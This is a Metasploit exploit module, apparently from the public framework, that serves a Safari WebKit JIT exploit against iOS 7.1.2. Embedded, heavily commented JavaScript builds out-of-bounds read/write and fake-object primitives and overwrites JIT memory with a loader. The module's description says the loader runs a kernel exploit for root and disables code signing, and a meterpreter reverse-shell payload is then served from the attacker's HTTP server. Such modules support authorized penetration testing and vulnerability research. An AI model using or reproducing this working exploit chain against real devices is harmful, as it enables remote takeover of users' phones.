##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
'Description' => %q{
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
obtains root and disables code signing. Finally we download and execute the
meterpreter payload.
This module has been tested against iOS 7.1.2 on an iPhone 4.
},
'License' => MSF_LICENSE,
'Author' => [
'kudima', # ishell
'Ian Beer', # CVE-2016-4669
'WanderingGlitch', # CVE-2018-4162
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4669'],
['CVE', '2018-4162'],
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
],
'Arch' => ARCH_ARMLE,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Aug 25 2016'
)
)
register_options(
[
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
]
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def exploit_js
<<~JS
//
// Initial notes.
//
// If we look at publicly available exploits for this kind of
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
// differently interprets the content of arrays based on
// their type, besides object pointers and 64-bit doubles may have
// the same representation.
//
// This is not the case for 32-bit version of JavaScriptCore.
// The details are in runtime/JSCJSValue.h. All JSValues are still
// 64-bit, but for the cells representing objects
// the high 32-bit are always 0xfffffffb (since we only need 32-bit
// to represent a pointer), meaning cell is always a NaN in IEEE754
// representation used for doubles and it is not possible to confuse
// an cell and a IEEE754 encoded double value.
//
// Another difference is how the cells are represented
// in the version of JavaScriptCore by iOS 7.1.2.
// The type of the cell object is determined by m_structure member
// at offset 0 which is a pointer to Structure object.
// On 64-bit systems, at the time [2], [3]
// were published, a 32-bit integer value was used as a structure id.
// And it was possible to deterministically predict that id for
// specific object layout.
//
// The exploit outline.
//
// Let's give a high level description of the steps taken by the
// exploit to get to arbitrary code execution.
//
// 1. We use side effect bug to overwrite butterfly header by confusing
// Double array with ArrayStorage and obtain out of bound (oob) read/write
// into array butterflies allocation area.
//
// 2. Use oob read/write to build addrOf/materialize object primitives,
// by overlapping ArrayStorage length with object pointer part of a cell
// stored in Contiguous array.
//
// 3. Craft a fake Number object in order to leak real object structure
// pointer via a runtime function.
//
// 4. Use leaked structure pointer to build a fake fake object allowing
// as read/write access to a Uint32Array object to obtain arbitrary read/write.
//
// 5. We overwrite rwx memory used for jit code and redirect execution
// to that memory using our arbitrary read/write.
function main(loader, macho) {
// auxillary arrays to facilitate
// 64-bit floats to pointers conversion
var ab = new ArrayBuffer(8)
var u32 = new Uint32Array(ab);
var f64 = new Float64Array(ab);
function toF64(hi, lo) {
u32[0] = hi;
u32[1] = lo;
return f64[0];
}
function toHILO(f) {
f64[0] = f;
return [u32[0], u32[1]]
}
function printF64(f) {
var u32 = toHILO(f);
return (u32[0].toString(16) + " " + u32[1].toString(16));
}
// arr is an object with a butterfly
//
// cmp is an object we compare with
//
// v is a value assigned to an indexed property,
// gives as ability to change the butterfly
function oob_write(arr, cmp, v, i) {
arr[0] = 1.1;
// place a comparison with an object,
// incorrectly modeled as side effects free
cmp == 1;
// if i less then the butterfly length,
// it simply writes the value, otherwise
// bails to baseline jit, which is going to
// handle the write via a slow path.
arr[i] = v;
return arr[0];
}
function make_oob_array() {
var oob_array;
// allocate an object
var arr = {};
arr.p = 1.1;
// allocate butterfly of size 0x38,
// 8 bytes header and 6 elements. To get the size
// we create an array and inspect its memory
// in jsc command line interpreter.
arr[0] = 1.1;
// toString is triggered during comparison,
var x = {toString: function () {
// convert the butterfly into an
// array storage with two values,
// initial 1.1 64-bit at 0 is going to be placed
// to m_vector and value at 1000 is placed into
// the m_sparceMap
arr[1000] = 2.2;
// allocate a new butterfly right after
// our ArrayStorage. The butterflies are
// allocated continuously regardless
// of the size. For the array we
// get 0x28 bytes, header and 4 elements.
oob_array = [1.1];
return '1';
}
};
// ArrayStorage buttefly--+
// |
// V
//-8 -4 0 4
// | pub length | length | m_sparceMap | m_indexBias |
//
// 8 0xc 0x10
// | m_numValuesInVector | m_padding | m_vector[0]
//
//0x18 0x20 0x28
// | m_vector[1] | m_vector[2] | m_vector[3] |
//
// oob_array butterfly
// |
// V
//0x30 0x34 0x38 0x40 0x48 0x50
// | pub length | length | el0 | el1 | el2 |
//
// We enter the function with arr butterfly
// backed up by a regular butterfly, during the side effect
// in toString method we turn it into an ArrayStorage,
// and allocate a butterfly right after it. So we
// hopefully get memory layout as on the diagram above.
//
// The compiled code for oob_write, being not aware of the
// shape change, is going to compare 6 to the ArrayStorage
// length (which we set to 1000 in toString) and proceed
// to to write at index 6 relative to ArrayStorage butterfly,
// overwriting the oob_array butterfly header with 64-bit float
// encoded as 0x0000100000001000. Which gives as ability to write
// out of bounds of oob_array up to 0x1000 bytes, hence
// the name oob_array.
var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);
return oob_array;
}
// returns address of an object
function addrOf(o) {
// overwrite ArrayStorage public length
// with the object pointer
oob_array[4] = o;
// retrieve the address as ArrayStorage
// butterfly public length
var r = oobStorage.length;
return r;
}
function materialize(addr) {
// replace ArrayStorage public length
oobStorage.length = addr;
// retrieve the placed address
// as an object
return oob_array[4];
}
function read32(addr) {
var lohi = toHILO(rw0Master.rw0_f2);
// replace m_buffer with our address
rw0Master.rw0_f2 = toF64(lohi[0], addr);
var ret = u32rw[0];
// restore
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
return ret;
}
function write32(addr, v) {
var lohi = toHILO(rw0Master.rw0_f2);
rw0Master.rw0_f2 = toF64(lohi[0], addr);
// for some reason if we don't do this
// and the value is negative as a signed int ( > 0x80000000)
// it takes base from a different place
u32rw[0] = v & 0xffffffff;
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
}
function testRW32() {
var o = [1.1];
print("--------------- testrw32 -------------");
print("len: " + o.length);
var bfly = read32(addrOf(o)+4);
print("bfly: " + bfly.toString(16));
var len = read32(bfly-8);
print("bfly len: " + len.toString(16));
write32(bfly - 8, 0x10);
var ret = o.length == 0x10;
print("len: " + o.length);
write32(bfly - 8, 1);
print("--------------- testrw32 -------------");
return ret;
}
// dump @len dword
function dumpAddr(addr, len) {
var output = 'addr: ' + addr.toString(16) + "\\n";
for (var i=0; i<len; i++) {
output += read32(addr + i*4).toString(16) + " ";
if ((i+1) % 2 == 0) {
output += "\\n";
}
}
return output;
}
// prepare the function we are going to
// use to run our macho loader
exec_code = "var o = {};";
for (var i=0; i<200; i++) {
exec_code += "o.p = 1.1;";
}
exec_code += "if (v) alert('exec');";
var exec = new Function('v', exec_code);
// force JavaScriptCore to generate jit code
// for the function
for (var i=0; i<1000; i++)
exec();
// create an object with a Double array butterfly
var arr = {};
arr.p = 1.1;
arr[0] = 1.1;
// force DFG optimization for oob_write function,
// with a write beyond the allocated storage
for (var i=0; i<10000; i++) {
oob_write(arr, {}, 1.1, 1);
}
// prepare a double array which we are going to turn
// into an ArrayStorage later on.
var oobStorage = [];
oobStorage[0] = 1.1;
// create an array with oob read/write
// relative to its butterfly
var oob_array = make_oob_array();
// Allocate an ArrayStorage after oob_array butterfly.
oobStorage[1000] = 2.2;
// convert into Contiguous storage, so we can materialize
// objects
oob_array[4] = {};
// allocate two objects with seven inline properties one after another,
// for fake object crafting
var oo = [];
for (var i=0; i<0x10; i++) {
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
oo.push(o);
}
// for some reason if we just do
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
// the objects just get some random addressed far apart, and we need
// them allocated one after another.
var fakeObjStore = oo.pop();
// we are going to leak Structure pointer for this object
var structLeaker = oo.pop();
// eventually we want to use it for read/write into typed array,
// and typed array is 0x18 bytes from our experiments.
// To cover all 0x18 bytes, we add four out of line properties
// to the structure we want to leak.
structLeaker.rw0_f1 = 1.1;
structLeaker.rw0_f2 = 1.1;
structLeaker.rw0_f3 = 1.1;
structLeaker.rw0_f4 = 1.1;
print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
print("structLeaker: " + addrOf(structLeaker).toString(16));
var fakeObjStoreAddr = addrOf(fakeObjStore)
// m_typeInfo offset within a Structure class is 0x34
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
// for Number
// we want to achieve the following layout for fakeObjStore
//
// 0 8 0x10 0x18 0x20 0x28 0x30
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |
//
// 0x30 0x34 0x38 0x40
// | fakeObjStoreAddr | 0x00008015 | 1.1 |
//
// we materialize fakeObjStoreAddr + 0x30 as an object,
// As we can see the Structure pointer points back to fakeObjStore,
// which is acting as a structure for our object. In that fake
// structure object we craft m_typeInfo as if it was a Number object.
// At offset +0x34 the Structure objects have m_typeInfo member indicating
// the object type.
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
// So we place that value at offset 0x34 relative to the fakeObjStore start.
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);
// We call a runtime function valueOf on Number, which only verifies
// that m_typeInfo field describes a Number object. Then it reads
// and returns 64-bit float value at object address + 0x10.
//
// In our seven properties object, it's
// going to be a 64-bit word located right after last property. Since
// we have arranged another seven properties object to be placed right
// after fakeObjStore, we are going to get first 8 bytes of
// that cell object which has the following layout.
// 0 4 8
// | m_structure | m_butterfly |
var val = Number.prototype.valueOf.call(fakeNumber);
// get lower 32-bit of a 64-bit float, which is a structure pointer.
var _7pStructAddr = toHILO(val)[1];
print("struct addr: " + _7pStructAddr.toString(16));
// now we are going to use the structure to craft an object
// with properties allowing as read/write access to Uint32Array.
var aabb = new ArrayBuffer(0x20);
// Uint32Array is 0x18 bytes,
// + 0xc m_impl
// + 0x10 m_storageLength
// + 0x14 m_storage
var u32rw = new Uint32Array(aabb, 4);
// Create a fake object with the structure we leaked before.
// So we can r/w to Uint32Array via out of line properties.
// The ool properties are placed before the butterfly header,
// so we point our fake object butterfly to Uint32Array + 0x28,
// to cover first 0x20 bytes via four out of line properties we added earlier
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};
// materialize whatever we put in the first inline property as an object
var rw0Master = materialize(addrOf(objRW0Store) + 8);
// magic
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
for (var i=0; i<8; i++) {
read32(addrOf(o));
write32(addrOf(o)+8, 0);
}
//testRW32();
// JSFunction->m_executable
var m_executable = read32(addrOf(exec)+0xc);
// m_executable->m_jitCodeForCall
var jitCodeForCall = read32(m_executable + 0x14) - 1;
print("jit code pointer: " + jitCodeForCall.toString(16));
// Get JSCell::destroy pointer, and pass it
// to the code we are going to execute as an argument
var n = new Number(1.1);
var struct = read32(addrOf(n));
// read methodTable
var classInfo = read32(struct + 0x20);
// read JSCell::destroy
var JSCell_destroy = read32(classInfo + 0x10);
print("JSCell_destroy: " + JSCell_destroy.toString(16));
// overwrite jit code of exec function
for (var i=0; i<loader.length; i++) {
var x = loader[i];
write32(jitCodeForCall+i*4, x);
}
// pass JSCell::destroy pointer and
// the macho file as arguments to our
// macho file loader, so it can get dylib cache slide
var nextBuf = read32(addrOf(macho) + 0x14);
// we pass parameters to the loader as a list of 32-bit words
// places right before the start
write32(jitCodeForCall-4, JSCell_destroy);
write32(jitCodeForCall-8, nextBuf);
print("nextBuf: " + nextBuf.toString(16));
// start our macho loader
print("executing macho...");
exec(true);
print("exec returned");
return;
}
try {
function asciiToUint8Array(str) {
var len = Math.floor((str.length + 4)/4) * 4;
var bytes = new Uint8Array(len);
for (var i=0; i<str.length; i++) {
var code = str.charCodeAt(i);
bytes[i] = code & 0xff;
}
return bytes;
}
// loads base64 encoded payload from the server and converts
// it into a Uint32Array
function loadAsUint32Array(path) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
xhttp.send();
var payload = atob(xhttp.response);
payload = asciiToUint8Array(payload);
return new Uint32Array(payload.buffer);
}
var loader = loadAsUint32Array("loader.b64");
var macho = loadAsUint32Array("macho.b64");
setTimeout(function() {main(loader, macho);}, 50);
} catch (e) {
print(e + "\\n" + e.stack);
}
JS
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Request #{request.uri} from #{request['User-Agent']}")
if request.uri.starts_with? '/loader.b64'
loader_data = exploit_data('CVE-2016-4669', 'loader')
loader_data = Rex::Text.encode_base64(loader_data)
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.starts_with? '/macho.b64'
loader_data = exploit_data('CVE-2016-4669', 'macho')
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
loader_data[payload_url_index, payload_url.length] = payload_url
loader_data = Rex::Text.encode_base64(loader_data)
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.starts_with? '/payload'
print_good('Target is vulnerable, sending payload!')
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
return
end
jscript = exploit_js
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = <<~HTML
<html>
<body>
<script>
#{jscript}
</script>
</body>
</html>
HTML
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end
end